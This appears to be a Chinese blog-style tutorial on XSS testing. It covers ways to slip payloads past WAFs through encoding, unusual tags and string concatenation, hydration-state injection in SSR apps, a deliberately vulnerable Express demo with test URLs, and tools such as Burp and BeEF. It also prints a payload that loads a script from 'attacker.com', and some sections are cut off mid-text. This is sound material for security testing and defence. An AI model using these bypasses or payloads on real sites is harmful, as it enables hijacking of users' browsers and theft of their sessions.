1. 项目概述:从“绕过”到“神器”的实战视角
最近在跟几个做安全测试的朋友聊天,话题总绕不开一个老生常谈但又历久弥新的东西:XSS(跨站脚本攻击)。大家普遍的感觉是,现在稍微有点规模的网站,前端都或多或少套了层WAF(Web应用防火墙),以前那些教科书式的弹窗Payload,一打过去就被拦截了,测试起来束手束脚。更有意思的是,很多朋友在尝试自己搭建一些个人项目,比如用Next.js、Nuxt.js这类服务端渲染(SSR)框架时,会不自觉地引入新的XSS风险点,或者对如何有效防护感到迷茫。所以,今天我想从一个实战者的角度,聊聊如何系统性地思考XSS的WAF绕过,以及在现代SSR架构下,我们手头有哪些堪称“神器”的思路和工具,来更高效地发现和验证这类漏洞。这不仅仅是几个Payload的堆砌,更是一种对抗思路和工程化方法的探讨。
2. XSS与WAF:一场动态的攻防博弈
2.1 为什么WAF让传统XSS测试“失灵”?
WAF本质上是一套规则引擎,它工作在HTTP请求到达应用服务器之前,通过预定义的规则集(正则表达式、语义分析、行为模型等)对请求内容进行扫描和过滤。对于XSS,WAF的规则库通常会包含大量已知的危险字符串、标签、事件和JavaScript函数。
举个例子,一个最简单的反射型XSS Payload可能是:<script>alert(1)</script>。任何一款成熟的WAF都会毫不犹豫地拦截它。WAF的规则可能匹配<script>标签、alert(函数调用,或者两者组合的模式。它的优势在于部署快速、能防护已知的、模式化的攻击。但它的“阿喀琉斯之踵”也在于此:规则是静态的,而攻击者的思维是动态的。
注意:WAF不是银弹。它是对抗大规模自动化扫描和已知攻击模式的有效手段,但绝不能替代安全的编码实践。将安全完全寄托于WAF,就像只给大门上锁却留着窗户敞开。
2.2 WAF绕过的核心思路:混淆与变异
绕过WAF的核心,在于让你的恶意Payload“看起来”不像恶意Payload。这就像特工执行任务需要伪装一样。我们主要从以下几个维度进行混淆:
大小写与字符编码混淆:这是最基础的。
- 大小写混合:
<ScRiPt>alert(1)</sCrIpT>。有些简单的正则规则可能只匹配全小写。 - HTML实体编码:将特殊字符转换为实体。例如,
<变成<,>变成>。但关键在于,如果应用在输出时没有正确解码,或者WAF解码逻辑与后端不一致,就可能绕过。例如:<script>alert(1)</script>。 - URL编码:
%3Cscript%3Ealert(1)%3C/script%3E。适用于出现在URL参数中的Payload。 - Unicode、十六进制、八进制编码:例如,
<可以表示为\u003c(Unicode),\x3c(十六进制),\74(八进制)。在JavaScript上下文中可能有效。
- 大小写混合:
标签与属性变异:
- 非常规标签/属性:WAF的规则库可能专注于
<script>、<img onerror=等常见组合。可以尝试使用一些生僻的、但同样能执行JavaScript的HTML标签或事件。例如:<svg onload=alert(1)><details open ontoggle=alert(1)><body onload=alert(1)>(如果可控点位于body标签内)
- 标签属性分割:利用空格、换行符、制表符或其它空白字符来分割属性,干扰正则匹配。例如:
<img src=x onerror\r\n=\nalert(1)>。 - 无尖括号的Payload:在某些上下文(如HTML属性值、JavaScript字符串中),可能不需要闭合标签。例如,在输入点出现在
<input value=“USER_INPUT”>时,可以构造:“ onmouseover=“alert(1),最终形成:<input value=“” onmouseover=“alert(1)“>。
- 非常规标签/属性:WAF的规则库可能专注于
JavaScript上下文绕过: 当可控点出现在
<script>...</script>标签内部时,绕过的重点在于如何在不使用被禁关键词的情况下执行代码。- 字符串拼接:
window[‘al’+’ert’](1)。 - 使用
eval、setTimeout、Function构造函数:eval(‘al’+’ert(1)’);setTimeout(‘alert\x281\x29’);Function(‘alert\x281\x29’)()。 - 利用JavaScript内置对象/原型链:有时可以通过访问
top、parent、self对象,或者通过location、document对象的方法间接执行。 - 反引号模板字符串执行:在支持ES6的环境下,
alert`1`这种形式也可以执行alert(注意这是标签函数调用,并非所有情况都弹窗)。
- 字符串拼接:
利用解析差异: 浏览器HTML解析器的“容错”能力有时会成为突破口,而WAF的解析逻辑可能更严格。
- 多余字符插入:在标签名或属性名中插入无效字符,浏览器可能会忽略它们。例如:
<script/x>alert(1)</script>,<script>alert(1)</script x>。 - 未闭合标签:在某些特定上下文下,浏览器会尝试“修复”HTML结构,可能使得不完整的Payload得以执行。
- 多余字符插入:在标签名或属性名中插入无效字符,浏览器可能会忽略它们。例如:
2.3 实战中的组合拳与模糊测试
在实际测试中,单一技巧往往难以奏效。我们需要将上述方法组合使用,并采用模糊测试(Fuzzing)的思路。
例如,一个基础的Payload是:<img src=x onerror=alert(1)>。 我们可以对其进行多重混淆:
- 标签名混淆:
<IMg src=x onerror=alert(1)> - 事件处理器混淆:
<img src=x onerror=“alert(1)”>(加引号) - 事件名混淆:
<img src=x onerror=“alert1”>(使用反引号) - 函数名混淆:
<img src=x onerror=“window[‘al’+’ert’](1)”> - 编码混淆:将整个
alert(1)进行Base64编码,然后通过atob()解码执行:<img src=x onerror=eval(atob(‘YWxlcnQoMSk=’))>
这个过程可以借助工具自动化生成大量变种,然后批量发送测试,观察哪些变种未被WAF拦截且被浏览器成功执行。
3. SSR架构下的XSS:新旧风险的交汇点
3.1 SSR如何改变了XSS的攻防面?
服务端渲染(SSR)意味着页面的HTML是在服务器端动态生成的,然后发送给客户端。这与传统的客户端渲染(CSR)或完全静态的页面有显著不同,也带来了独特的XSS考量:
- 传统反射型/存储型XSS依然存在:如果用户输入未经充分净化就直接拼接到服务器端生成的HTML字符串中,漏洞就会产生。这与非SSR应用无异。
- Hydration(水合)过程的风险:这是SSR特有的风险点。服务器会渲染出初始HTML,同时会将相关的JavaScript状态(如Vue组件的data、React的props)内联到页面中(通常在一个
<script>标签内,如window.__INITIAL_STATE__ = {...})。如果这些内联的状态数据包含了未经净化的用户输入,并且在客户端Hydration过程中被直接使用,就可能触发DOM型XSS。因为此时攻击载荷已经随着HTML到达了客户端,绕过了浏览器原生对innerHTML等API的部分安全限制(如自动执行的<script>标签不会执行,但通过eval或new Function解析状态数据时可能触发)。 - 服务端模板注入(SSTI)与XSS的界限模糊:在一些SSR框架中,如果允许用户控制模板的部分内容,可能造成更严重的服务端代码执行(SSTI)。但某些SSTI的输出结果就是HTML,最终在浏览器端表现为XSS。
3.2 SSR场景下的XSS Payload构造技巧
在SSR环境下,我们需要关注数据流动的整个链条:服务器端数据获取 -> 数据嵌入HTML/状态 -> 客户端Hydration/渲染。
探测数据嵌入点:
- 寻找所有用户输入在最终HTML页面中出现的位置。不仅是可见文本,更要关注
<script>标签内的JSON数据、HTML标签的属性(如># 一个简单的示例:生成针对JSON内联的测试Payload base_input = “user_input” payloads = [] # 尝试闭合字符串和对象 payloads.append(f‘“}});alert(1);//’) payloads.append(f‘\\“}});alert(1);//’) # 转义引号 # 尝试Unicode编码 payloads.append(f‘\\u0022}});alert(1);//’) for p in payloads: print(f‘Testing: {p}’) # 这里可以集成requests库发送请求
- 寻找所有用户输入在最终HTML页面中出现的位置。不仅是可见文本,更要关注
4.2 代理与流量分析平台
Burp Suite Professional:无疑是Web安全测试的瑞士军刀。在XSS测试中,它的以下功能不可或缺:
- Repeater:手动修改和重放请求,精细观察输入与输出,是理解应用逻辑和WAF行为的关键。
- Intruder:进行模糊测试。将Payload列表加载到攻击位置,自动化发送并观察响应。可以设置Grep规则来自动标记包含“alert”、“xss”等关键词的响应。
- Scanner:Burp的主动扫描引擎也能检测XSS,但对于有WAF或复杂上下文的目标,其检出率可能有限,需要配合手动测试。
- Collaborator:用于检测盲XSS(Blind XSS)。当你怀疑存在存储型XSS但无法立即看到回显时,可以插入一个指向Burp Collaborator服务器域名的Payload(如
<img src=http://your-collaborator.burp>)。如果漏洞存在,目标服务器在渲染页面时会尝试加载这个图片,从而向Collaborator发起请求,让你收到通知。
Browser Exploitation Framework (BeEF):这是一个专注于客户端攻击的框架。当你成功注入一个XSS Hook(一段特殊的JavaScript代码)后,BeEF可以让你与受害者的浏览器进行交互,形成一个持久的控制通道。这对于演示XSS的危害性(如窃取Cookie、发起内部网络请求、键盘记录等)非常有说服力。在SSR场景下,如果注入点发生在Hydration后的客户端代码中,BeEF的Hook同样有效。
4.3 辅助分析与验证工具
浏览器开发者工具:
- Sources / 调试器:设置断点,跟踪你的输入数据在客户端JavaScript中的流动过程,尤其是在Hydration和后续渲染阶段。这是理解SSR应用数据流和寻找漏洞点的最佳方式。
- Console:执行JavaScript代码,测试Payload的有效性,或者手动触发某些事件。
- Network:观察所有HTTP请求,特别是检查服务器返回的HTML源码,确认你的输入被如何编码和放置。查看响应头中的CSP策略。
Postman / cURL:用于快速测试API接口。在SSR应用中,很多数据是通过API获取的。测试这些API端点是否存在注入点(参数污染、JSON注入等),这些注入点可能最终导致客户端XSS。
5. 从理论到实践:一个模拟SSR场景的测试案例
假设我们有一个简单的模拟SSR应用(基于Node.js + Express + 一个简单的模板),它有一个用户评论功能,评论内容会通过服务器端渲染显示在页面上,同时也会内联到页面中的一个JavaScript变量里,供客户端“互动功能”使用。
后端(有漏洞的)代码片段:
// 服务器端路由 app.get(‘/post/:id’, (req, res) => { const postId = req.params.id; // 模拟从数据库获取评论(这里包含用户输入的恶意评论) const comments = [ { id: 1, user: ‘Alice’, text: req.query.maliciousComment || ‘Nice post!’ } // 恶意输入通过URL参数传入 ]; // 有漏洞的模板渲染:未对comments进行HTML转义 const html = ` <html> <body> <h1>Post ${postId}</h1> <div id=“comments”> ${comments.map(c => `<div class=“comment”>${c.text}</div>`).join(‘’)} </div> <script> // 有漏洞的数据内联:未对用户输入进行JSON序列化转义 window.initialData = { comments: ${JSON.stringify(comments)} // 注意:这里comments里的text属性可能包含破坏JSON结构的字符 }; </script> <script src=“/client.js”></script> </body> </html> `; res.send(html); });测试步骤:
探测与确认漏洞:
- 访问
http://localhost:3000/post/1?maliciousComment=<img src=x onerror=alert(‘HTML’)> - 观察页面,如果弹窗显示‘HTML’,说明存在服务端HTML上下文XSS。查看网页源码,会发现
<img ...>被直接插入到了<div class=“comment”>中。 - 访问
http://localhost:3000/post/1?maliciousComment=“};alert(‘JS’);// - 观察页面,如果弹窗显示‘JS’,说明存在JavaScript上下文(内联JSON)XSS。查看网页源码,会发现JSON被破坏:
window.initialData = { comments: [{…, text: “”};alert(‘JS’);//“}] };。
- 访问
绕过可能的简单过滤:
- 假设应用开始过滤
<script>和alert。我们可以尝试:- HTML上下文绕过:
<svg/onload=confirm1>。使用SVG标签和confirm函数。 - JS上下文绕过:
“};top[‘al’+’ert’](1);//。使用字符串拼接和top对象。
- HTML上下文绕过:
- 假设应用开始过滤
利用漏洞链:
- 即使HTML上下文被转义(比如
<被转成<),但JS上下文漏洞可能依然存在。我们可以通过JS漏洞来动态创建HTML元素,执行更复杂的攻击。 - 构造Payload:
“};const s=document.createElement(‘script’);s.src=‘http://attacker.com/evil.js’;document.body.appendChild(s);// - 这个Payload会闭合JSON,然后在受害者页面中插入一个外部脚本标签,加载攻击者控制的恶意脚本,危害更大。
- 即使HTML上下文被转义(比如
防御修复:
- 修复HTML上下文漏洞:在服务器端模板渲染前,对
c.text进行HTML实体编码。可以使用lodash.escape或类似的库。 - 修复JS上下文漏洞:我们已经使用了
JSON.stringify,这通常是安全的。但关键在于,整个comments数组被JSON.stringify序列化成了一个字符串,这个字符串作为整体被嵌入到<script>标签中。用户输入的破坏性字符(如引号、换行符)会在JSON字符串内部被正确转义(\”,\n),而不会破坏外部的JavaScript语法结构。这是正确的做法。漏洞示例中,我们模拟的是没有正确进行这个序列化过程的情况。
- 修复HTML上下文漏洞:在服务器端模板渲染前,对
6. 常见问题、排查与高级技巧
6.1 为什么我的Payload在本地浏览器测试成功,但打目标没用?
- WAF拦截:这是最常见的原因。使用工具如XSStrike或手动模糊测试来生成绕过变种。
- 内容安全策略(CSP):检查响应头中的
Content-Security-Policy。如果禁止了内联脚本(‘unsafe-inline’)或限制了脚本来源,你的Payload可能被浏览器阻止执行。查看浏览器控制台是否有CSP违规报告。 - 输入长度或字符限制:应用可能在前端或后端对输入进行了截断或过滤了某些特殊字符。
- 输出位置不当:你的输入可能被放到了
<textarea>、<title>、<style>标签内,或者属性值被单/双引号严格包裹,导致无法跳出当前上下文。需要仔细分析输出点的上下文环境。 - 动态JavaScript框架干扰:在Vue/React等框架中,直接操作DOM可能被框架的虚拟DOM机制覆盖或清理。需要寻找框架特定的注入点(如
v-html、dangerouslySetInnerHTML或未受保护的props)。
6.2 如何高效地发现SSR应用中的XSS点?
- 黑盒扫描结合手动验证:使用自动化工具(如Burp Scanner、Acunetix)进行初步爬取和扫描,但所有中高风险的XSS告警都必须手动验证。自动化工具对SSR和复杂JavaScript应用的支持有限。
- 代码审计(白盒/灰盒):如果有可能,直接审查服务器端渲染的模板文件(如
.ejs,.pug,.vue的<template>SSR部分)和数据处理逻辑。寻找将用户输入直接拼接进HTML字符串或JSON.stringify之前未经验证/净化的地方。 - 关注数据流:在浏览器开发者工具中,追踪一个用户输入从网络请求到最终呈现在页面上的完整路径。特别关注:
- API响应中的数据。
- 内联在
<script>标签中的JSON数据。 - 通过
>